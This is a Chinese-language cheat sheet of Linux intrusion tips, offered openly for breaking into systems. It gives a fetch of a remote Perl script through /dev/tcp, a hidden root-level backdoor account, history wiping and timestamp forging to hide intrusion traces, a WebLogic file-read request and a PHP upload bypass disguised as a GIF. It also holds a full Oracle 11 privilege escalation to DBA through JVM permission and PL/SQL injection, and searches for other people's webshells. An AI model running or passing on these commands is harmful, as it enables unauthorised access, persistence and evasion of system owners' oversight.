linux常用渗透入侵小技巧

1.无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/yese.yi.org/80 ;;echo -e "GET /c.pl HTTP/1.0 " >;5 ;; cat<;5 > c.pl
2.Linux添加uid为0的用户
useradd -o -u 0 cnbird
3.bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
4.SSH反向链接
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
然后服务器上执行ssh localhost -p 44即可
5.weblogic本地读取文件漏洞
curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registryname: ../../" -H "xml-entity-path: config.xml" http://server/wl_management_internal2/wl_management
6.apache查看虚拟web目录
./httpd -t -D DUMP_VHOSTS
7.cvs渗透技巧
CVSROOT/passwd   UNIX SHA1的密码文件
CVSROOT/readers
CVSROOT/writers
CVS/Root    
CVS/Entries     更新的文件和目录内容
CVS/Repository
8.Cpanel路径泄露
/3rdparty/squirrelmail/functions/plugin.php
9.修改上传文件时间戳(掩盖入侵痕迹)
touch -r 老文件时间戳 新文件时间戳
10.利用baidu和google搜索目标主机webshell
intitle:PHPJackal 1t1t
11.包总补充
创建临时“隐藏”目录 mkdir /tmp/...
/tmp/...目录在管理员有宿醉的情况下是“隐藏”的，可以临时放点exp啥的
12.利用linux输出绕过gif限制的图片
printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php
13.读取环境变量对于查找信息非常有帮助
/proc/self/environ
14.最新的ORACLE 11提升用户权限(只要session权限)
DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS
判断登陆权限
select * from session_privs;
CREATE SESSION
select * from session_roles;
select TYPE_NAME, NAME, ACTION FROM SYS.DBA_java_POLICY WHERE GRANTEE = 'GREMLIN(用户名)';
DESC JAVA$POLICY$
DECLARE
POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLE' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
connect / as sysdba
COL TYPE_NAME FOR A30;
COL NAME FOR A30;
COL_ACTION FOR A10;
SELECT TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = '用户';
connect 普通用户
set serveroutput on
exec dbms_java.set_output(10000);
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());
set role dba;
select * from session_privs;
EXEC SYS.VULNPROC('FOO"||DBMS_JAVA.SET_OUTPUT_TO_SQL("ID","DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE""GRANT DBA TO PUBLIC"";DBMS_OUTPUT.PUT_LINE(:1);END;","TEXT")||"BAR');
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;
SET ROLE DBA;
15. webLogic渗透技巧
四. Weblogin Script Tool(WLST)
写入到<Domain_home>\\config\\config.xml
1.进行修改:
<bea_home>\wlserver_10.0\server\bin\setWLSenv.sh
2.启动WLST
java weblogic.WLST
wls:/offline> connect('admin', 'admin', 't3://127.0.0.1:7001')
wls:/bbk/serverConfig> help()
wls:/bbk/serverConfig> edit()
wls:/bbk/serverConfig> cd('Servers')
wls:/bbk/serverConfig/Server-cnbird> cd('Log')
wls:/bbk/serverConfig/Server-cnbird/log> cd('Server-cnbird')
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> set('FileCount', '4')
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> save()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> activate() 提交对应Active Change
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> disconnect()
wls:/offline> exit()
3.批处理:
保存以上命令为cnbird.py
connect('admin', 'admin', 't3://127.0.0.1:7001')
cd('Servers')
cd('Log')
cd('Server-cnbird')
startEdit()
set('FileCount', '4')
save()
然后执行java weblogic.WLST cnbird.py
